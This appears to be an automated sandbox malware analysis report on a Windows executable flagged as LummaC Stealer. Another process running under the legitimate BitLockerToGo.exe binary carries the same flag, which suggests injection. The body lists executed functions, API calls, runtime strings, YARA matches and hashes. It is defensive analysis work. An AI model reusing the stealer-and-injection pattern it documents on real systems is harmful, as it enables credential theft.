Path:	C:\Windows\Temp\4ud5if5k.0ze.exe
Wow64 process (32bit):	true
Commandline:	"C:\\Windows\\Temp\4ud5if5k.0ze.exe"
Imagebase:	0x680000
File size:	17'182'720 bytes
MD5 hash:	5BD0EC56270D24C40AA16D7FA73F2538
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000001.00000002.1884184643.0000000003B36000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000001.00000002.1894150698.0000000003C9E000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000001.00000002.1894150698.0000000003C9E000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Antivirus matches:	Detection: 21%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:18:19
Start date:	31/08/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Imagebase:	0xaf0000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000003.00000002.1924955171.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.1%
Dynamic/Decrypted Code Coverage:	4.1%
Signature Coverage:	0.4%
Total number of Nodes:	270
Total number of Limit Nodes:	9

Executed Functions

Function 01289570 Relevance: 70.7, APIs: 27, Strings: 13, Instructions: 684
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(0137F8A8,00000004,00000004,?,?,?,01289926,?,00E30000), ref: 01289581
GetTickCount.KERNEL32 ref: 0128958B
VirtualProtect.KERNELBASE(0137F8A8,00000004,?,?,?,?,01289926,?,00E30000), ref: 012895B3
GetSystemInfo.KERNELBASE(014B111C,95E4D7D1), ref: 01289676
SetConsoleCtrlHandler.KERNEL32(012894A0,00000001), ref: 01289697
GetModuleHandleW.KERNEL32(kernel32.dll), ref: 012896A2
GetProcAddress.KERNEL32(00000000,InitializeContext2), ref: 012896AE
GetModuleHandleW.KERNEL32(ntdll.dll), ref: 012896BE
GetProcAddress.KERNEL32(00000000,RtlRestoreContext), ref: 012896CD
InitializeCriticalSection.KERNEL32(014B0E80), ref: 0128971B

Strings

g_pConfig->sync(), xrefs: 012899DD, 012899FC
===================EEStartup Completed===================, xrefs: 01289DFE
GC heap initialization failed with error 0x%08X, xrefs: 01289CC6
===================EEStartup Starting===================, xrefs: 0128996E
InitializeContext2, xrefs: 012896A8
%s completed, xrefs: 0128999A, 01289A01
%s failed with code %x, xrefs: 012899E2
EnsureRtlFunctions(), xrefs: 01289995
ntdll.dll, xrefs: 012896B9
kernel32.dll, xrefs: 0128969D
EX_RETHROW line %d, xrefs: 01289F81
RtlRestoreContext, xrefs: 012896C7
Returned successfully from InitThreadManager, xrefs: 0128981A

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual$ConsoleCountCriticalCtrlHandlerInfoInitializeSectionSystemTick
String ID: %s completed$%s failed with code %x$===================EEStartup Completed===================$===================EEStartup Starting===================$EX_RETHROW line %d$EnsureRtlFunctions()$GC heap initialization failed with error 0x%08X$InitializeContext2$Returned successfully from InitThreadManager$RtlRestoreContext$g_pConfig->sync()$kernel32.dll$ntdll.dll
API String ID: 1537217695-3323499670
Opcode ID: 7269cca3df0ddaaeae60e5d0f7fbdc6a06d9122b2165650fa44d0ce4c66f516a
Instruction ID: e2efba86d768da9aadf6d364b0d25f61d9dc6dd86defe527b2aa5fddf98f0063
Opcode Fuzzy Hash: 7269cca3df0ddaaeae60e5d0f7fbdc6a06d9122b2165650fa44d0ce4c66f516a
Instruction Fuzzy Hash: 5742E5B0A153059FEB20FFB5E8967AE7BB4EB44704F10402EF905E72A5DBB59440CB61

Function 00F431A0 Relevance: 48.0, APIs: 10, Strings: 17, Instructions: 788memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0108BD60: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(95E4D7D1,80131506,?), ref: 0108BDCE
Part of subcall function 0108BD60: wcstoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000,?,?), ref: 0108BDE2
Part of subcall function 0108BD60: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0108BDEE
Part of subcall function 0108BD60: HeapFree.KERNEL32(00000000,00000000), ref: 0108BE12

HeapFree.KERNEL32(00000000,00000000,?,00000000), ref: 00F433CC
wcstoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000,00000000,00000000,?,00000000), ref: 00F4345E
HeapFree.KERNEL32(00000000,00000000,?,00000000), ref: 00F4356A
_wcsicmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,debug,?,00000000), ref: 00F435B4
HeapFree.KERNEL32(00000000,00000000,?,00000000), ref: 00F435E5
HeapFree.KERNEL32(00000000,00000000,?,00000000), ref: 00F436E2
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000000), ref: 00F43963
wcstoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000,?,0000000A), ref: 00F43979
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00F43985

Part of subcall function 0108C020: wcstoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000,00000000,00000000,014BC008,00000000,00F43A9E,?,00000000), ref: 0108C04E

HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,00000000), ref: 00F43D8D

Strings

true, xrefs: 00F43257
ZapBBInstr, xrefs: 00F43713
System.Runtime.InteropServices.BuiltInComInterop.IsSupported, xrefs: 00F4393E
RestrictedGCStressExe, xrefs: 00F432EC
debug, xrefs: 00F435AE
StartupDelayMS, xrefs: 00F43953
MODIFIABLE_ASSEMBLIES, xrefs: 00F43522
System.Runtime.TieredCompilation, xrefs: 00F43A24
ReadyToRunExcludeList, xrefs: 00F4365C
System.Runtime.TieredCompilation.CallCountingDelayMs, xrefs: 00F43AC3
System.Runtime.TieredCompilation.QuickJit, xrefs: 00F43A3E
System.Runtime.TieredCompilation.CallCountThreshold, xrefs: 00F43A8E
System.GC.Concurrent, xrefs: 00F43243
System.Runtime.TieredCompilation.QuickJitForLoops, xrefs: 00F43A54
LogCCWRefCountChange, xrefs: 00F438E8
System.Runtime.TieredPGO, xrefs: 00F43B73
System.GC.LOHThreshold, xrefs: 00F4344B

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap$_errnowcstoul$_wcsicmp
String ID: LogCCWRefCountChange$MODIFIABLE_ASSEMBLIES$ReadyToRunExcludeList$RestrictedGCStressExe$StartupDelayMS$System.GC.Concurrent$System.GC.LOHThreshold$System.Runtime.InteropServices.BuiltInComInterop.IsSupported$System.Runtime.TieredCompilation$System.Runtime.TieredCompilation.CallCountThreshold$System.Runtime.TieredCompilation.CallCountingDelayMs$System.Runtime.TieredCompilation.QuickJit$System.Runtime.TieredCompilation.QuickJitForLoops$System.Runtime.TieredPGO$ZapBBInstr$debug$true
API String ID: 3256802023-3551552797
Opcode ID: 7e1f3aa7fc0c15934bdaf866761fb478972c555a685cc910b5bd661ed6c6188f
Instruction ID: 02e911c9dd2d6de90ecd6c44ae91b581b8ec029c4b2db8efa01c578fb5cf458b
Opcode Fuzzy Hash: 7e1f3aa7fc0c15934bdaf866761fb478972c555a685cc910b5bd661ed6c6188f
Instruction Fuzzy Hash: F572D2B4A0435ADBDB24EF24C8543D9BBB1FF55314F044199C8899B3A4EBB09E88DF91

Function 010C5F00 Relevance: 37.4, APIs: 18, Strings: 3, Instructions: 636
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,?,System.Private.CoreLib.dll,0000001A,00000004,00000000), ref: 010C5FF8

Part of subcall function 00E497F0: _wcsnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,0000002F,?), ref: 00E49960

wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,?,System.Private.CoreLib,00000016,00000004,00000000,?,00000200,014B9E54,00000000), ref: 010C62AA
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,-00000002,00000004,00000000,?,?,?,?,?,?,?,?,?,?), ref: 010C636A
HeapFree.KERNEL32(00000000,?,?,00000001,?,?,?), ref: 010C65A4
HeapFree.KERNEL32(00000000,?,?,00000001,?,?,?), ref: 010C65D2

Part of subcall function 00E3F140: HeapFree.KERNEL32(00000000,?,?,?,?,95E4D7D1), ref: 00E3F18B

HeapFree.KERNEL32(00000000,?,?,?,00000001,?,?,?), ref: 010C663B
HeapFree.KERNEL32(00000000,?,?,?,00000001,?,?,?), ref: 010C6661
HeapFree.KERNEL32(00000000,?,00000000,00000000,?,?,?,?,00000001,?,?,?), ref: 010C6790
HeapFree.KERNEL32(00000000,?,00000000,00000000,?,?,?,?,00000001,?,?,?), ref: 010C67B6
HeapFree.KERNEL32(00000000,?,014B9E54,00000000,?,?,?,?,?,?,?,?), ref: 010C67F8
HeapFree.KERNEL32(00000000,?,014B9E54,00000000,?,?,?,?,?,?,?,?), ref: 010C681E
HeapFree.KERNEL32(00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 010C68AF
HeapFree.KERNEL32(00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 010C68D5
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 010C6900
HeapFree.KERNEL32(00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 010C6928
HeapFree.KERNEL32(00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 010C694E
HeapFree.KERNEL32(00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 010C6974
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 010C69A2

Strings

System.Private.CoreLib.dll, xrefs: 010C5FEA
TRUSTED_PLATFORM_ASSEMBLIES, xrefs: 010C62B7
System.Private.CoreLib, xrefs: 010C629C

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap$wcscpy_s$_wcsnicmp
String ID: System.Private.CoreLib$System.Private.CoreLib.dll$TRUSTED_PLATFORM_ASSEMBLIES
API String ID: 3863164608-3418895618
Opcode ID: ec8fbdd5b3237ca25cd644e7eb59bb0241f6b989336102b0586b89448eb7d307
Instruction ID: a443359a14d328eabcf97ae27e3e3ca9ee7fb9eb8a7d3cf06c86df5a78c1fd3b
Opcode Fuzzy Hash: ec8fbdd5b3237ca25cd644e7eb59bb0241f6b989336102b0586b89448eb7d307
Instruction Fuzzy Hash: 70526870900268DAEB71DB28CD987EDBBF4BF05704F1482D9E588A7291DF755A84CF90

Function 010C3520 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 115
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateNamedPipeA.KERNEL32(00000000,40080003,00000008,000000FF,00004000,00004000,00000000,00000000), ref: 010C3585
GetLastError.KERNEL32 ref: 010C359E
GetCurrentProcess.KERNEL32(00000118,00000000,00000000,00000002), ref: 010C35C1
GetCurrentProcess.KERNEL32(?,00000000), ref: 010C35CE
DuplicateHandle.KERNELBASE(00000000), ref: 010C35D5
GetLastError.KERNEL32 ref: 010C35E3

Strings

A client process failed to connect., xrefs: 010C364B
Failed to ownership sentinel., xrefs: 010C35EA
Cannot call Listen on a client connection, xrefs: 010C3535
Failed to create overlap event, xrefs: 010C3614
Failed to create an instance of a named pipe., xrefs: 010C35A5

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CurrentErrorLastProcess$CreateDuplicateHandleNamedPipe
String ID: A client process failed to connect.$Cannot call Listen on a client connection$Failed to create an instance of a named pipe.$Failed to create overlap event$Failed to ownership sentinel.
API String ID: 1242093035-1870640685
Opcode ID: 8082541203d024e9d4b8f165ef00dc2e133d5c8c968d67b407e7074e0a66ee2b
Instruction ID: 2c51efa0eaed71b756041eae56ef88b16691ab5f4c0026d63b33d03c0c49dc71
Opcode Fuzzy Hash: 8082541203d024e9d4b8f165ef00dc2e133d5c8c968d67b407e7074e0a66ee2b
Instruction Fuzzy Hash: 3D31E4317507117BEA755B38FC4ABEDBA9CBB08F20F10C269F661DA2E0C7A058814F90

Function 010860F0 Relevance: 15.2, APIs: 10, Instructions: 218
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,0128ABAD,00000000,?,00000000), ref: 01086107
GetNumaHighestNodeNumber.KERNELBASE(00000000,?,?,?,?,?,?,?,?,0128ABAD,00000000), ref: 01086140
GetCurrentProcess.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,0128ABAD,00000000), ref: 01086166
GetProcessAffinityMask.KERNEL32(00000000), ref: 0108616D
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,0128ABAD,00000000), ref: 010861B9
HeapAlloc.KERNEL32(03A20000,00000000,00000004,?,?,?,?,?,?,?,?,0128ABAD,00000000), ref: 010861D1
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,0128ABAD,00000000), ref: 01086237
HeapAlloc.KERNEL32(03A20000,00000000,00000010,?,?,?,?,?,?,?,?,0128ABAD,00000000), ref: 0108624F
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,0128ABAD,00000000), ref: 01086336
HeapAlloc.KERNEL32(03A20000,00000000,00000004,?,?,?,?,?,?,?,?,0128ABAD,00000000), ref: 0108634E

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Heap$Process$Alloc$AffinityCurrentHighestInfoMaskNodeNumaNumberSystem
String ID:
API String ID: 4161135185-0
Opcode ID: 7e261906d223b9908c001b6b6e28715e03fa23bae4fb22b3e15e500092318789
Instruction ID: 5a9677744dbb88456c6bc925e48c73ff7c005149f0f88738fcd0c65cd214dd6d
Opcode Fuzzy Hash: 7e261906d223b9908c001b6b6e28715e03fa23bae4fb22b3e15e500092318789
Instruction Fuzzy Hash: 7AA18BB1604200CFDB78DF69E4D878A7BF9BB0531AF45805AE4849B3B9C7B19449CFA0

Function 010CA630 Relevance: 12.7, APIs: 8, Instructions: 691memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3F140: HeapFree.KERNEL32(00000000,?,?,?,?,95E4D7D1), ref: 00E3F18B

HeapFree.KERNEL32(00000000,?,?,?,0000003B,?), ref: 010CB08C
HeapFree.KERNEL32(00000000,?,?,?,?,?,0000003B,?), ref: 010CB10A

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 12b77c45452737b7e6275ec906f919cbd8e1f47bab40439357f89c779c92066c
Instruction ID: 1b8859e8c3afb7e0980a819e5c96d7873a5714be78ee8f9fe7e89e0c46a50f69
Opcode Fuzzy Hash: 12b77c45452737b7e6275ec906f919cbd8e1f47bab40439357f89c779c92066c
Instruction Fuzzy Hash: E9624770E0122D9BEB65DF28CC997DDBBB0BB44714F1482D9D889A7290DB759E84CF80

Function 00F09B10 Relevance: 9.5, APIs: 4, Strings: 1, Instructions: 776COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(000000AC,95E4D7D1,01377444,00000000,?), ref: 00F09B5D

Part of subcall function 01086B90: GetProcessHeap.KERNEL32(?,0108A1C1,0000000C,95E4D7D1,?,00000002,?,?,01324B94,000000FF,?,01094F5F,00000002,00000002,?,95E4D7D1), ref: 01086B9C
Part of subcall function 01086B90: RtlAllocateHeap.NTDLL(03A20000,00000000,00000002,?,0108A1C1,0000000C,95E4D7D1,?,00000002,?,?,01324B94,000000FF,?,01094F5F,00000002), ref: 01086BBA

Part of subcall function 01086BF0: GetProcessHeap.KERNEL32(00000002,00E3FECB,00000002,?,00000002,00E3F233,?,?,?,95E4D7D1), ref: 01086BFC
Part of subcall function 01086BF0: HeapAlloc.KERNEL32(03A20000,00000000,?,00000002,00E3FECB,00000002,?,00000002,00E3F233,?,?,?,95E4D7D1), ref: 01086C18

Part of subcall function 00FC21F0: SleepEx.KERNEL32(00000001,00000000), ref: 00FC2303
Part of subcall function 00FC21F0: SwitchToThread.KERNEL32(95E4D7D1,00000000), ref: 00FC2309

VirtualFree.KERNEL32(?,00000000,00008000,?,95E4D7D1,00000000,00001000,00000000), ref: 00F0A486
DeleteCriticalSection.KERNEL32(?,?,?,95E4D7D1,00000000,00001000,00000000), ref: 00F0A4AF
DeleteCriticalSection.KERNEL32(?,?,?,95E4D7D1,00000000,00001000,00000000), ref: 00F0A4E9

Strings

VirtualCallStubManagerManager::AddStubManager - 0x%p (vptr 0x%p), xrefs: 00F0A188

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Heap$CriticalSection$DeleteProcess$AllocAllocateFreeInitializeSleepSwitchThreadVirtual
String ID: VirtualCallStubManagerManager::AddStubManager - 0x%p (vptr 0x%p)
API String ID: 3521652898-2064279654
Opcode ID: 514589189509e5596267e25761b6aac40962665324f755420c5ed6eb10c6e1d6
Instruction ID: ac00f0530082bb1c6e22de47cd6dc2fa4d6a3783409d8aaf1ca7e7d8b7105e3a
Opcode Fuzzy Hash: 514589189509e5596267e25761b6aac40962665324f755420c5ed6eb10c6e1d6
Instruction Fuzzy Hash: E0626D70E05345DFEB14DFA8C8947AEBBF0AF08304F14816DE949AB381EBB59944DB91

Function 010C9010 Relevance: 2.6, APIs: 2, Instructions: 137memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 010C9075

Part of subcall function 01094940: HeapFree.KERNEL32(00000000,00000002,?,?), ref: 01094A56

Part of subcall function 010C5250: GetProcessHeap.KERNEL32(95E4D7D1,00000000), ref: 010C5297
Part of subcall function 010C5250: HeapAlloc.KERNEL32(03A20000,00000000,00000054,95E4D7D1,00000000), ref: 010C52B4

HeapAlloc.KERNEL32(03A20000,00000000,0000001C), ref: 010C9092

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Heap$AllocProcess$Free
String ID:
API String ID: 2487664458-0
Opcode ID: 2c5f3e250da293aa953b349540fd86b925b94a2b52da1e028c0bd132730c98b0
Instruction ID: 79472a232ab163c32d879a97206bd360834eb7f9e86966d70cac40ae6e7f7ff6
Opcode Fuzzy Hash: 2c5f3e250da293aa953b349540fd86b925b94a2b52da1e028c0bd132730c98b0
Instruction Fuzzy Hash: 2951BC70E006059BDB11DFA8C84979EFBF4BB88B28F11825DEC54AB381D7799944CBD0

Function 0ADA5040 Relevance: 1.3, Instructions: 1263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6ee742f31ef7f4915d3f3526969881a049c7c7428e5e2f87ee4d4d6f84bc455
Instruction ID: 222fde87c7402229b7880fb8b9726ed73e7e32a2a6c63ed93eb0b02aa26a47c2
Opcode Fuzzy Hash: b6ee742f31ef7f4915d3f3526969881a049c7c7428e5e2f87ee4d4d6f84bc455
Instruction Fuzzy Hash: 45D26134A11215CFCB26CF21E89CA9ABBB2FF88305F5585A8D44AE7750DB71AD85CF40

Function 0AD9CC00 Relevance: 1.0, Instructions: 1021COMMON

Download Yara Rule

